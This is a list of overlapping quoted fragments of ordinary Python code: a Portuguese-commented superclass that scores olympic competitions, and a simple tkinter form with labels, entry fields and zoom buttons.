"de adversários. \"\"\" return self._numadversarios def numerotentativas(self): \"\"\" Número de tentativas (notas, arremessos)",
"except ValueError: return False if len(_floattentativas) is self._numtentativas: self._adversarios.append( Adversario( nome=\"Adversario {}\".format(len(self._adversarios)+1), resultado=_floattentativas",
"dados do usuário. @param numadversario: identificador do adversário. @return: entrada de dados do",
"de adversários (instâncias 'adversario'). \"\"\" return self._adversarios def vencedor(self): \"\"\" Vencedor da competição.",
"(notas, arremessos) @return: número de tentativas (notas, arremessos). \"\"\" return self._numtentativas def adversarios(self):",
"if len(self._adversarios) is self._numadversarios: return False _strtentativas = entrada.split(',') if len(_strtentativas) < self._numtentativas:",
"lista de adversários (instâncias 'adversario'). \"\"\" return self._adversarios def vencedor(self): \"\"\" Vencedor da",
"from ooppython3.adversario import Adversario class Modalidade: \"\"\" Superclasse representando uma modalidade de competição",
"(notas, arremessos) para classificação na competição. @param numadversarios: número de adversários na competição.",
"self._input = inp self._numtentativas = numtentativas self._numadversarios = numadversarios self._mensagem = mensagem def",
"False def lerentrada(self, numadversario): \"\"\" Captura a entrada de dados do usuário. @param",
"ooppython3.adversario import Adversario class Modalidade: \"\"\" Superclasse representando uma modalidade de competição das",
"mensagem: Mensagem fornecida pra orientar a entrada de dados. \"\"\" self._input = inp",
"competição. @return: Nome do vencedor (adversário) ou 'Empate' em caso de empate. \"\"\"",
"x in _strtentativas] except ValueError: return False if len(_floattentativas) is self._numtentativas: self._adversarios.append( Adversario(",
"apenas uma parte comum a todas as competições, que é ordenar os resultados.",
"dados do usuário. \"\"\" return self._input.input( self._mensagem.format( self._numtentativas, numadversario ) ) def iniciar(self):",
"return self._numtentativas def adversarios(self): \"\"\" Lista de adversários na competição. @return: lista de",
"necessários para implementar uma modalidade de competição de olimpíadas. \"\"\" from ooppython3.adversario import",
"competições, que é ordenar os resultados. @return: None \"\"\" for adversario in self.adversarios():",
"= mensagem def validarentrada(self, entrada): \"\"\" Valida a entrada de dados (notas, arremessos)",
"para implementar uma modalidade de competição de olimpíadas. \"\"\" from ooppython3.adversario import Adversario",
"numtentativas self._numadversarios = numadversarios self._mensagem = mensagem def validarentrada(self, entrada): \"\"\" Valida a",
"self._mensagem = mensagem def validarentrada(self, entrada): \"\"\" Valida a entrada de dados (notas,",
"entrada de dados. \"\"\" self._input = inp self._numtentativas = numtentativas self._numadversarios = numadversarios",
"_strtentativas] except ValueError: return False if len(_floattentativas) is self._numtentativas: self._adversarios.append( Adversario( nome=\"Adversario {}\".format(len(self._adversarios)+1),",
"in self.adversarios(): adversario.resultado().sort(reverse=True) def numeroadversarios(self): \"\"\" Número de adversários. @return: número de adversários.",
"de tentativas (notas, arremessos). \"\"\" return self._numtentativas def adversarios(self): \"\"\" Lista de adversários",
"é ordenar os resultados. @return: None \"\"\" for adversario in self.adversarios(): adversario.resultado().sort(reverse=True) def",
"do adversário. @return: True (válidas) ou False (inválidas). \"\"\" if len(self._adversarios) is self._numadversarios:",
"self._adversarios def vencedor(self): \"\"\" Vencedor da competição. @return: Nome do vencedor (adversário) ou",
"a entrada de dados. \"\"\" self._input = inp self._numtentativas = numtentativas self._numadversarios =",
"de dados (notas, arremessos) do adversário. @param entrada: (notas, arremessos) do adversário. @return:",
"self._numadversarios = numadversarios self._mensagem = mensagem def validarentrada(self, entrada): \"\"\" Valida a entrada",
"is self._numtentativas: self._adversarios.append( Adversario( nome=\"Adversario {}\".format(len(self._adversarios)+1), resultado=_floattentativas ) ) return True return False",
"a superclasse com todos os métodos necessários para implementar uma modalidade de competição",
"def iniciar(self): \"\"\" Executa a competição (processa os resultados). Notar que a superclasse",
"@return: Nome do vencedor (adversário) ou 'Empate' em caso de empate. \"\"\" return",
"competição. @param mensagem: Mensagem fornecida pra orientar a entrada de dados. \"\"\" self._input",
"todos os métodos necessários para implementar uma modalidade de competição de olimpíadas. \"\"\"",
"len(_strtentativas) < self._numtentativas: return False try: _floattentativas = [float(x) for x in _strtentativas]",
"'adversario'). \"\"\" return self._adversarios def vencedor(self): \"\"\" Vencedor da competição. @return: Nome do",
"arremessos) do adversário. @return: True (válidas) ou False (inválidas). \"\"\" if len(self._adversarios) is",
"Adversario( nome=\"Adversario {}\".format(len(self._adversarios)+1), resultado=_floattentativas ) ) return True return False def lerentrada(self, numadversario):",
"inp, numtentativas, numadversarios, mensagem): \"\"\" Construtor. @param inp: instância da classe responsável pela",
"self._numtentativas = numtentativas self._numadversarios = numadversarios self._mensagem = mensagem def validarentrada(self, entrada): \"\"\"",
"= None _mensagem = None _vencedor = \"Empate\" def __init__(self, inp, numtentativas, numadversarios,",
"= None _numadversarios = None _mensagem = None _vencedor = \"Empate\" def __init__(self,",
"if len(_strtentativas) < self._numtentativas: return False try: _floattentativas = [float(x) for x in",
"@param numtentativas: número de tentativas (notas, arremessos) para classificação na competição. @param numadversarios:",
"= [] _input = None _numtentativas = None _numadversarios = None _mensagem =",
"_input = None _numtentativas = None _numadversarios = None _mensagem = None _vencedor",
"\"\"\" for adversario in self.adversarios(): adversario.resultado().sort(reverse=True) def numeroadversarios(self): \"\"\" Número de adversários. @return:",
"\"\"\" return self._numtentativas def adversarios(self): \"\"\" Lista de adversários na competição. @return: lista",
"\"\"\" return self._adversarios def vencedor(self): \"\"\" Vencedor da competição. @return: Nome do vencedor",
"adversários na competição. @return: lista de adversários (instâncias 'adversario'). \"\"\" return self._adversarios def",
"False if len(_floattentativas) is self._numtentativas: self._adversarios.append( Adversario( nome=\"Adversario {}\".format(len(self._adversarios)+1), resultado=_floattentativas ) ) return",
"_numtentativas = None _numadversarios = None _mensagem = None _vencedor = \"Empate\" def",
"None _vencedor = \"Empate\" def __init__(self, inp, numtentativas, numadversarios, mensagem): \"\"\" Construtor. @param",
"pra orientar a entrada de dados. \"\"\" self._input = inp self._numtentativas = numtentativas",
"for adversario in self.adversarios(): adversario.resultado().sort(reverse=True) def numeroadversarios(self): \"\"\" Número de adversários. @return: número",
"True (válidas) ou False (inválidas). \"\"\" if len(self._adversarios) is self._numadversarios: return False _strtentativas",
"a superclasse processa apenas uma parte comum a todas as competições, que é",
"Nome do vencedor (adversário) ou 'Empate' em caso de empate. \"\"\" return self._vencedor",
"adversários na competição. @param mensagem: Mensagem fornecida pra orientar a entrada de dados.",
"superclasse com todos os métodos necessários para implementar uma modalidade de competição de",
"olimpíadas. \"\"\" from ooppython3.adversario import Adversario class Modalidade: \"\"\" Superclasse representando uma modalidade",
"entrada.split(',') if len(_strtentativas) < self._numtentativas: return False try: _floattentativas = [float(x) for x",
"a entrada de dados do usuário. @param numadversario: identificador do adversário. @return: entrada",
"a competição (processa os resultados). Notar que a superclasse processa apenas uma parte",
"def __init__(self, inp, numtentativas, numadversarios, mensagem): \"\"\" Construtor. @param inp: instância da classe",
"def lerentrada(self, numadversario): \"\"\" Captura a entrada de dados do usuário. @param numadversario:",
"adversários. \"\"\" return self._numadversarios def numerotentativas(self): \"\"\" Número de tentativas (notas, arremessos) @return:",
"coding=UTF-8 \"\"\" Módulo: Fornece a superclasse com todos os métodos necessários para implementar",
"\"\"\" self._input = inp self._numtentativas = numtentativas self._numadversarios = numadversarios self._mensagem = mensagem",
"is self._numadversarios: return False _strtentativas = entrada.split(',') if len(_strtentativas) < self._numtentativas: return False",
"de tentativas (notas, arremessos) @return: número de tentativas (notas, arremessos). \"\"\" return self._numtentativas",
"return False _strtentativas = entrada.split(',') if len(_strtentativas) < self._numtentativas: return False try: _floattentativas",
"de adversários na competição. @param mensagem: Mensagem fornecida pra orientar a entrada de",
"@return: entrada de dados do usuário. \"\"\" return self._input.input( self._mensagem.format( self._numtentativas, numadversario )",
"competição (processa os resultados). Notar que a superclasse processa apenas uma parte comum",
"número de tentativas (notas, arremessos) para classificação na competição. @param numadversarios: número de",
"numtentativas: número de tentativas (notas, arremessos) para classificação na competição. @param numadversarios: número",
"@param mensagem: Mensagem fornecida pra orientar a entrada de dados. \"\"\" self._input =",
"for x in _strtentativas] except ValueError: return False if len(_floattentativas) is self._numtentativas: self._adversarios.append(",
"Vencedor da competição. @return: Nome do vencedor (adversário) ou 'Empate' em caso de",
"os métodos necessários para implementar uma modalidade de competição de olimpíadas. \"\"\" from",
"try: _floattentativas = [float(x) for x in _strtentativas] except ValueError: return False if",
"entrada: (notas, arremessos) do adversário. @return: True (válidas) ou False (inválidas). \"\"\" if",
"def numerotentativas(self): \"\"\" Número de tentativas (notas, arremessos) @return: número de tentativas (notas,",
") return True return False def lerentrada(self, numadversario): \"\"\" Captura a entrada de",
"arremessos). \"\"\" return self._numtentativas def adversarios(self): \"\"\" Lista de adversários na competição. @return:",
"da classe responsável pela entrada de dados. @param numtentativas: número de tentativas (notas,",
"nome=\"Adversario {}\".format(len(self._adversarios)+1), resultado=_floattentativas ) ) return True return False def lerentrada(self, numadversario): \"\"\"",
"superclasse processa apenas uma parte comum a todas as competições, que é ordenar",
"Notar que a superclasse processa apenas uma parte comum a todas as competições,",
"de dados. \"\"\" self._input = inp self._numtentativas = numtentativas self._numadversarios = numadversarios self._mensagem",
"adversarios(self): \"\"\" Lista de adversários na competição. @return: lista de adversários (instâncias 'adversario').",
"Valida a entrada de dados (notas, arremessos) do adversário. @param entrada: (notas, arremessos)",
"orientar a entrada de dados. \"\"\" self._input = inp self._numtentativas = numtentativas self._numadversarios",
"class Modalidade: \"\"\" Superclasse representando uma modalidade de competição das olimpíadas. \"\"\" _adversarios",
"a entrada de dados (notas, arremessos) do adversário. @param entrada: (notas, arremessos) do",
"self._numtentativas: return False try: _floattentativas = [float(x) for x in _strtentativas] except ValueError:",
"\"\"\" Lista de adversários na competição. @return: lista de adversários (instâncias 'adversario'). \"\"\"",
"representando uma modalidade de competição das olimpíadas. \"\"\" _adversarios = [] _input =",
"número de adversários na competição. @param mensagem: Mensagem fornecida pra orientar a entrada",
"= numadversarios self._mensagem = mensagem def validarentrada(self, entrada): \"\"\" Valida a entrada de",
"entrada de dados do usuário. @param numadversario: identificador do adversário. @return: entrada de",
"\"\"\" from ooppython3.adversario import Adversario class Modalidade: \"\"\" Superclasse representando uma modalidade de",
"\"Empate\" def __init__(self, inp, numtentativas, numadversarios, mensagem): \"\"\" Construtor. @param inp: instância da",
"adversario.resultado().sort(reverse=True) def numeroadversarios(self): \"\"\" Número de adversários. @return: número de adversários. \"\"\" return",
") ) return True return False def lerentrada(self, numadversario): \"\"\" Captura a entrada",
"tentativas (notas, arremessos) @return: número de tentativas (notas, arremessos). \"\"\" return self._numtentativas def",
"numadversarios: número de adversários na competição. @param mensagem: Mensagem fornecida pra orientar a",
"None \"\"\" for adversario in self.adversarios(): adversario.resultado().sort(reverse=True) def numeroadversarios(self): \"\"\" Número de adversários.",
"_numadversarios = None _mensagem = None _vencedor = \"Empate\" def __init__(self, inp, numtentativas,",
"dados (notas, arremessos) do adversário. @param entrada: (notas, arremessos) do adversário. @return: True",
"(notas, arremessos). \"\"\" return self._numtentativas def adversarios(self): \"\"\" Lista de adversários na competição.",
"mensagem def validarentrada(self, entrada): \"\"\" Valida a entrada de dados (notas, arremessos) do",
"identificador do adversário. @return: entrada de dados do usuário. \"\"\" return self._input.input( self._mensagem.format(",
"modalidade de competição das olimpíadas. \"\"\" _adversarios = [] _input = None _numtentativas",
"return self._numadversarios def numerotentativas(self): \"\"\" Número de tentativas (notas, arremessos) @return: número de",
"usuário. \"\"\" return self._input.input( self._mensagem.format( self._numtentativas, numadversario ) ) def iniciar(self): \"\"\" Executa",
"de olimpíadas. \"\"\" from ooppython3.adversario import Adversario class Modalidade: \"\"\" Superclasse representando uma",
"Número de tentativas (notas, arremessos) @return: número de tentativas (notas, arremessos). \"\"\" return",
"\"\"\" Módulo: Fornece a superclasse com todos os métodos necessários para implementar uma",
"def validarentrada(self, entrada): \"\"\" Valida a entrada de dados (notas, arremessos) do adversário.",
"numtentativas, numadversarios, mensagem): \"\"\" Construtor. @param inp: instância da classe responsável pela entrada",
"= entrada.split(',') if len(_strtentativas) < self._numtentativas: return False try: _floattentativas = [float(x) for",
"do adversário. @param entrada: (notas, arremessos) do adversário. @return: True (válidas) ou False",
"uma modalidade de competição das olimpíadas. \"\"\" _adversarios = [] _input = None",
"Lista de adversários na competição. @return: lista de adversários (instâncias 'adversario'). \"\"\" return",
"False try: _floattentativas = [float(x) for x in _strtentativas] except ValueError: return False",
"return False if len(_floattentativas) is self._numtentativas: self._adversarios.append( Adversario( nome=\"Adversario {}\".format(len(self._adversarios)+1), resultado=_floattentativas ) )",
"\"\"\" Captura a entrada de dados do usuário. @param numadversario: identificador do adversário.",
"de dados. @param numtentativas: número de tentativas (notas, arremessos) para classificação na competição.",
"len(_floattentativas) is self._numtentativas: self._adversarios.append( Adversario( nome=\"Adversario {}\".format(len(self._adversarios)+1), resultado=_floattentativas ) ) return True return",
"Módulo: Fornece a superclasse com todos os métodos necessários para implementar uma modalidade",
"com todos os métodos necessários para implementar uma modalidade de competição de olimpíadas.",
"de dados do usuário. \"\"\" return self._input.input( self._mensagem.format( self._numtentativas, numadversario ) ) def",
"True return False def lerentrada(self, numadversario): \"\"\" Captura a entrada de dados do",
"Número de adversários. @return: número de adversários. \"\"\" return self._numadversarios def numerotentativas(self): \"\"\"",
"competição das olimpíadas. \"\"\" _adversarios = [] _input = None _numtentativas = None",
"instância da classe responsável pela entrada de dados. @param numtentativas: número de tentativas",
"None _numadversarios = None _mensagem = None _vencedor = \"Empate\" def __init__(self, inp,",
"métodos necessários para implementar uma modalidade de competição de olimpíadas. \"\"\" from ooppython3.adversario",
"\"\"\" Número de adversários. @return: número de adversários. \"\"\" return self._numadversarios def numerotentativas(self):",
"da competição. @return: Nome do vencedor (adversário) ou 'Empate' em caso de empate.",
"numeroadversarios(self): \"\"\" Número de adversários. @return: número de adversários. \"\"\" return self._numadversarios def",
"para classificação na competição. @param numadversarios: número de adversários na competição. @param mensagem:",
"de adversários. @return: número de adversários. \"\"\" return self._numadversarios def numerotentativas(self): \"\"\" Número",
"Fornece a superclasse com todos os métodos necessários para implementar uma modalidade de",
"arremessos) do adversário. @param entrada: (notas, arremessos) do adversário. @return: True (válidas) ou",
"self._input.input( self._mensagem.format( self._numtentativas, numadversario ) ) def iniciar(self): \"\"\" Executa a competição (processa",
"_floattentativas = [float(x) for x in _strtentativas] except ValueError: return False if len(_floattentativas)",
"\"\"\" Construtor. @param inp: instância da classe responsável pela entrada de dados. @param",
"competição. @return: lista de adversários (instâncias 'adversario'). \"\"\" return self._adversarios def vencedor(self): \"\"\"",
"if len(_floattentativas) is self._numtentativas: self._adversarios.append( Adversario( nome=\"Adversario {}\".format(len(self._adversarios)+1), resultado=_floattentativas ) ) return True",
"[] _input = None _numtentativas = None _numadversarios = None _mensagem = None",
"dados. @param numtentativas: número de tentativas (notas, arremessos) para classificação na competição. @param",
"ValueError: return False if len(_floattentativas) is self._numtentativas: self._adversarios.append( Adversario( nome=\"Adversario {}\".format(len(self._adversarios)+1), resultado=_floattentativas )",
"validarentrada(self, entrada): \"\"\" Valida a entrada de dados (notas, arremessos) do adversário. @param",
"parte comum a todas as competições, que é ordenar os resultados. @return: None",
"\"\"\" return self._numadversarios def numerotentativas(self): \"\"\" Número de tentativas (notas, arremessos) @return: número",
"\"\"\" Executa a competição (processa os resultados). Notar que a superclasse processa apenas",
"classe responsável pela entrada de dados. @param numtentativas: número de tentativas (notas, arremessos)",
"\"\"\" if len(self._adversarios) is self._numadversarios: return False _strtentativas = entrada.split(',') if len(_strtentativas) <",
"vencedor(self): \"\"\" Vencedor da competição. @return: Nome do vencedor (adversário) ou 'Empate' em",
"= numtentativas self._numadversarios = numadversarios self._mensagem = mensagem def validarentrada(self, entrada): \"\"\" Valida",
"todas as competições, que é ordenar os resultados. @return: None \"\"\" for adversario",
"na competição. @return: lista de adversários (instâncias 'adversario'). \"\"\" return self._adversarios def vencedor(self):",
"self._numtentativas, numadversario ) ) def iniciar(self): \"\"\" Executa a competição (processa os resultados).",
"return True return False def lerentrada(self, numadversario): \"\"\" Captura a entrada de dados",
"\"\"\" Vencedor da competição. @return: Nome do vencedor (adversário) ou 'Empate' em caso",
"_mensagem = None _vencedor = \"Empate\" def __init__(self, inp, numtentativas, numadversarios, mensagem): \"\"\"",
"inp: instância da classe responsável pela entrada de dados. @param numtentativas: número de",
"= None _numtentativas = None _numadversarios = None _mensagem = None _vencedor =",
"Mensagem fornecida pra orientar a entrada de dados. \"\"\" self._input = inp self._numtentativas",
"do usuário. @param numadversario: identificador do adversário. @return: entrada de dados do usuário.",
"entrada de dados do usuário. \"\"\" return self._input.input( self._mensagem.format( self._numtentativas, numadversario ) )",
"\"\"\" return self._input.input( self._mensagem.format( self._numtentativas, numadversario ) ) def iniciar(self): \"\"\" Executa a",
"modalidade de competição de olimpíadas. \"\"\" from ooppython3.adversario import Adversario class Modalidade: \"\"\"",
"\"\"\" Valida a entrada de dados (notas, arremessos) do adversário. @param entrada: (notas,",
"def adversarios(self): \"\"\" Lista de adversários na competição. @return: lista de adversários (instâncias",
"classificação na competição. @param numadversarios: número de adversários na competição. @param mensagem: Mensagem",
"resultados. @return: None \"\"\" for adversario in self.adversarios(): adversario.resultado().sort(reverse=True) def numeroadversarios(self): \"\"\" Número",
"processa apenas uma parte comum a todas as competições, que é ordenar os",
"(inválidas). \"\"\" if len(self._adversarios) is self._numadversarios: return False _strtentativas = entrada.split(',') if len(_strtentativas)",
"ordenar os resultados. @return: None \"\"\" for adversario in self.adversarios(): adversario.resultado().sort(reverse=True) def numeroadversarios(self):",
"dados. \"\"\" self._input = inp self._numtentativas = numtentativas self._numadversarios = numadversarios self._mensagem =",
"de competição de olimpíadas. \"\"\" from ooppython3.adversario import Adversario class Modalidade: \"\"\" Superclasse",
"Captura a entrada de dados do usuário. @param numadversario: identificador do adversário. @return:",
"Executa a competição (processa os resultados). Notar que a superclasse processa apenas uma",
"@param inp: instância da classe responsável pela entrada de dados. @param numtentativas: número",
"(processa os resultados). Notar que a superclasse processa apenas uma parte comum a",
"return False try: _floattentativas = [float(x) for x in _strtentativas] except ValueError: return",
"None _numtentativas = None _numadversarios = None _mensagem = None _vencedor = \"Empate\"",
"Modalidade: \"\"\" Superclasse representando uma modalidade de competição das olimpíadas. \"\"\" _adversarios =",
"número de adversários. \"\"\" return self._numadversarios def numerotentativas(self): \"\"\" Número de tentativas (notas,",
"de tentativas (notas, arremessos) para classificação na competição. @param numadversarios: número de adversários",
"@return: None \"\"\" for adversario in self.adversarios(): adversario.resultado().sort(reverse=True) def numeroadversarios(self): \"\"\" Número de",
"arremessos) @return: número de tentativas (notas, arremessos). \"\"\" return self._numtentativas def adversarios(self): \"\"\"",
"@return: lista de adversários (instâncias 'adversario'). \"\"\" return self._adversarios def vencedor(self): \"\"\" Vencedor",
"@return: número de adversários. \"\"\" return self._numadversarios def numerotentativas(self): \"\"\" Número de tentativas",
"entrada): \"\"\" Valida a entrada de dados (notas, arremessos) do adversário. @param entrada:",
"import Adversario class Modalidade: \"\"\" Superclasse representando uma modalidade de competição das olimpíadas.",
"= None _vencedor = \"Empate\" def __init__(self, inp, numtentativas, numadversarios, mensagem): \"\"\" Construtor.",
"adversários (instâncias 'adversario'). \"\"\" return self._adversarios def vencedor(self): \"\"\" Vencedor da competição. @return:",
"in _strtentativas] except ValueError: return False if len(_floattentativas) is self._numtentativas: self._adversarios.append( Adversario( nome=\"Adversario",
"def vencedor(self): \"\"\" Vencedor da competição. @return: Nome do vencedor (adversário) ou 'Empate'",
"{}\".format(len(self._adversarios)+1), resultado=_floattentativas ) ) return True return False def lerentrada(self, numadversario): \"\"\" Captura",
"\"\"\" Número de tentativas (notas, arremessos) @return: número de tentativas (notas, arremessos). \"\"\"",
"@param numadversario: identificador do adversário. @return: entrada de dados do usuário. \"\"\" return",
"número de tentativas (notas, arremessos). \"\"\" return self._numtentativas def adversarios(self): \"\"\" Lista de",
"das olimpíadas. \"\"\" _adversarios = [] _input = None _numtentativas = None _numadversarios",
"iniciar(self): \"\"\" Executa a competição (processa os resultados). Notar que a superclasse processa",
"as competições, que é ordenar os resultados. @return: None \"\"\" for adversario in",
"self._mensagem.format( self._numtentativas, numadversario ) ) def iniciar(self): \"\"\" Executa a competição (processa os",
"self._numadversarios def numerotentativas(self): \"\"\" Número de tentativas (notas, arremessos) @return: número de tentativas",
"os resultados). Notar que a superclasse processa apenas uma parte comum a todas",
"_vencedor = \"Empate\" def __init__(self, inp, numtentativas, numadversarios, mensagem): \"\"\" Construtor. @param inp:",
"= [float(x) for x in _strtentativas] except ValueError: return False if len(_floattentativas) is",
") def iniciar(self): \"\"\" Executa a competição (processa os resultados). Notar que a"
] |
[
"columnspan = 2) # adding image (remember image should be PNG and not",
"Tk() # this will create a label widget l1 = Label(master, text =",
"widgets e1.grid(row = 0, column = 1, pady = 2) e2.grid(row = 1,",
"setting image with the help of label #Label(master, image = img1).grid(row = 0,",
"0, sticky = W, pady = 2) l2.grid(row = 1, column = 20,",
"#Label(master, image = img1).grid(row = 0, column = 2, # columnspan = 2,",
"= Button(master, text = \"Zoom out\") # arranging button widgets b1.grid(row = 2,",
"column = 3, sticky = E) # infinite loop which can be terminated",
"= 3, sticky = E) # infinite loop which can be terminated #",
"in respective # rows and columns as specified l1.grid(row = 0, column =",
"1, column = 20, sticky = W, pady = 2) # entry widgets,",
"used to take entry from user e1 = Entry(master) e2 = Entry(master) #",
"= 1, pady = 2) e2.grid(row = 1, column = 1, pady =",
"method to arrange labels in respective # rows and columns as specified l1.grid(row",
"# setting image with the help of label #Label(master, image = img1).grid(row =",
"2, column = 0, sticky = W, columnspan = 2) # adding image",
"tkinter.ttk import * # creating main tkinter window/toplevel master = Tk() # this",
"2, column = 2, sticky = E) b2.grid(row = 2, column = 3,",
"= 2) # adding image (remember image should be PNG and not JPG)",
"= Button(master, text = \"Zoom in\") b2 = Button(master, text = \"Zoom out\")",
"of label #Label(master, image = img1).grid(row = 0, column = 2, # columnspan",
"entry from user e1 = Entry(master) e2 = Entry(master) # this will arrange",
"columnspan = 2, rowspan = 2, padx = 5, pady = 5) #",
"in\") b2 = Button(master, text = \"Zoom out\") # arranging button widgets b1.grid(row",
"= \"Preserve\") c1.grid(row = 2, column = 0, sticky = W, columnspan =",
"= Checkbutton(master, text = \"Preserve\") c1.grid(row = 2, column = 0, sticky =",
"= 2, padx = 5, pady = 5) # button widget b1 =",
"2) # setting image with the help of label #Label(master, image = img1).grid(row",
"import * from tkinter.ttk import * # creating main tkinter window/toplevel master =",
"0, column = 0, sticky = W, pady = 2) l2.grid(row = 1,",
"5) # button widget b1 = Button(master, text = \"Zoom in\") b2 =",
"= W, columnspan = 2) # adding image (remember image should be PNG",
"to take entry from user e1 = Entry(master) e2 = Entry(master) # this",
"column = 2, sticky = E) b2.grid(row = 2, column = 3, sticky",
"window/toplevel master = Tk() # this will create a label widget l1 =",
"text = \"Height\") l2 = Label(master, text = \"Width\") # grid method to",
"= W, pady = 2) l2.grid(row = 1, column = 20, sticky =",
"c1 = Checkbutton(master, text = \"Preserve\") c1.grid(row = 2, column = 0, sticky",
"from tkinter import * from tkinter.ttk import * # creating main tkinter window/toplevel",
"Button(master, text = \"Zoom in\") b2 = Button(master, text = \"Zoom out\") #",
"Label(master, text = \"Height\") l2 = Label(master, text = \"Width\") # grid method",
"= Label(master, text = \"Height\") l2 = Label(master, text = \"Width\") # grid",
"to arrange labels in respective # rows and columns as specified l1.grid(row =",
"creating main tkinter window/toplevel master = Tk() # this will create a label",
"2, # columnspan = 2, rowspan = 2, padx = 5, pady =",
"image (remember image should be PNG and not JPG) #img = PhotoImage(file =",
"= 2, # columnspan = 2, rowspan = 2, padx = 5, pady",
"column = 2, # columnspan = 2, rowspan = 2, padx = 5,",
"0, column = 1, pady = 2) e2.grid(row = 1, column = 1,",
"# button widget b1 = Button(master, text = \"Zoom in\") b2 = Button(master,",
"b1.grid(row = 2, column = 2, sticky = E) b2.grid(row = 2, column",
"= \"Height\") l2 = Label(master, text = \"Width\") # grid method to arrange",
"W, pady = 2) # entry widgets, used to take entry from user",
"checkbutton widget c1 = Checkbutton(master, text = \"Preserve\") c1.grid(row = 2, column =",
"text = \"Preserve\") c1.grid(row = 2, column = 0, sticky = W, columnspan",
"be PNG and not JPG) #img = PhotoImage(file = r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1 = img.subsample(2,",
"r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1 = img.subsample(2, 2) # setting image with the help of label",
"label #Label(master, image = img1).grid(row = 0, column = 2, # columnspan =",
"sticky = E) b2.grid(row = 2, column = 3, sticky = E) #",
"pady = 2) l2.grid(row = 1, column = 20, sticky = W, pady",
"= img.subsample(2, 2) # setting image with the help of label #Label(master, image",
"image = img1).grid(row = 0, column = 2, # columnspan = 2, rowspan",
"2) e2.grid(row = 1, column = 1, pady = 2) # checkbutton widget",
"= 1, column = 20, sticky = W, pady = 2) # entry",
"arranging button widgets b1.grid(row = 2, column = 2, sticky = E) b2.grid(row",
"l2 = Label(master, text = \"Width\") # grid method to arrange labels in",
"this will create a label widget l1 = Label(master, text = \"Height\") l2",
"2) # entry widgets, used to take entry from user e1 = Entry(master)",
"# grid method to arrange labels in respective # rows and columns as",
"#img1 = img.subsample(2, 2) # setting image with the help of label #Label(master,",
"image with the help of label #Label(master, image = img1).grid(row = 0, column",
"# import tkinter module from tkinter import * from tkinter.ttk import * #",
"# rows and columns as specified l1.grid(row = 0, column = 0, sticky",
"\"Preserve\") c1.grid(row = 2, column = 0, sticky = W, columnspan = 2)",
"pady = 2) # checkbutton widget c1 = Checkbutton(master, text = \"Preserve\") c1.grid(row",
"= 0, column = 0, sticky = W, pady = 2) l2.grid(row =",
"2) # adding image (remember image should be PNG and not JPG) #img",
"= E) b2.grid(row = 2, column = 3, sticky = E) # infinite",
"= 2, rowspan = 2, padx = 5, pady = 5) # button",
"Checkbutton(master, text = \"Preserve\") c1.grid(row = 2, column = 0, sticky = W,",
"tkinter import * from tkinter.ttk import * # creating main tkinter window/toplevel master",
"l1.grid(row = 0, column = 0, sticky = W, pady = 2) l2.grid(row",
"5, pady = 5) # button widget b1 = Button(master, text = \"Zoom",
"\"Zoom in\") b2 = Button(master, text = \"Zoom out\") # arranging button widgets",
"= 2, column = 3, sticky = E) # infinite loop which can",
"2, column = 3, sticky = E) # infinite loop which can be",
"0, column = 2, # columnspan = 2, rowspan = 2, padx =",
"2, padx = 5, pady = 5) # button widget b1 = Button(master,",
"respective # rows and columns as specified l1.grid(row = 0, column = 0,",
"user e1 = Entry(master) e2 = Entry(master) # this will arrange entry widgets",
"not JPG) #img = PhotoImage(file = r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1 = img.subsample(2, 2) # setting",
"entry widgets e1.grid(row = 0, column = 1, pady = 2) e2.grid(row =",
"= 2, column = 2, sticky = E) b2.grid(row = 2, column =",
"widget c1 = Checkbutton(master, text = \"Preserve\") c1.grid(row = 2, column = 0,",
"\"Width\") # grid method to arrange labels in respective # rows and columns",
"1, pady = 2) e2.grid(row = 1, column = 1, pady = 2)",
"c1.grid(row = 2, column = 0, sticky = W, columnspan = 2) #",
"= 2, sticky = E) b2.grid(row = 2, column = 3, sticky =",
"pady = 2) e2.grid(row = 1, column = 1, pady = 2) #",
"e1 = Entry(master) e2 = Entry(master) # this will arrange entry widgets e1.grid(row",
"will create a label widget l1 = Label(master, text = \"Height\") l2 =",
"# this will arrange entry widgets e1.grid(row = 0, column = 1, pady",
"arrange entry widgets e1.grid(row = 0, column = 1, pady = 2) e2.grid(row",
"= 2) e2.grid(row = 1, column = 1, pady = 2) # checkbutton",
"l1 = Label(master, text = \"Height\") l2 = Label(master, text = \"Width\") #",
"b2.grid(row = 2, column = 3, sticky = E) # infinite loop which",
"# this will create a label widget l1 = Label(master, text = \"Height\")",
"= 1, column = 1, pady = 2) # checkbutton widget c1 =",
"sticky = W, pady = 2) l2.grid(row = 1, column = 20, sticky",
"= E) # infinite loop which can be terminated # by keyboard or",
"the help of label #Label(master, image = img1).grid(row = 0, column = 2,",
"pady = 5) # button widget b1 = Button(master, text = \"Zoom in\")",
"a label widget l1 = Label(master, text = \"Height\") l2 = Label(master, text",
"widgets b1.grid(row = 2, column = 2, sticky = E) b2.grid(row = 2,",
"master = Tk() # this will create a label widget l1 = Label(master,",
"= 2) l2.grid(row = 1, column = 20, sticky = W, pady =",
"column = 0, sticky = W, columnspan = 2) # adding image (remember",
"e2 = Entry(master) # this will arrange entry widgets e1.grid(row = 0, column",
"rowspan = 2, padx = 5, pady = 5) # button widget b1",
"= 0, sticky = W, pady = 2) l2.grid(row = 1, column =",
"import * # creating main tkinter window/toplevel master = Tk() # this will",
"= 5) # button widget b1 = Button(master, text = \"Zoom in\") b2",
"= img1).grid(row = 0, column = 2, # columnspan = 2, rowspan =",
"b1 = Button(master, text = \"Zoom in\") b2 = Button(master, text = \"Zoom",
"# entry widgets, used to take entry from user e1 = Entry(master) e2",
"out\") # arranging button widgets b1.grid(row = 2, column = 2, sticky =",
"img1).grid(row = 0, column = 2, # columnspan = 2, rowspan = 2,",
"button widgets b1.grid(row = 2, column = 2, sticky = E) b2.grid(row =",
"\"Height\") l2 = Label(master, text = \"Width\") # grid method to arrange labels",
"2, rowspan = 2, padx = 5, pady = 5) # button widget",
"= 5, pady = 5) # button widget b1 = Button(master, text =",
"text = \"Zoom in\") b2 = Button(master, text = \"Zoom out\") # arranging",
"= 20, sticky = W, pady = 2) # entry widgets, used to",
"entry widgets, used to take entry from user e1 = Entry(master) e2 =",
"image should be PNG and not JPG) #img = PhotoImage(file = r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1",
"Entry(master) e2 = Entry(master) # this will arrange entry widgets e1.grid(row = 0,",
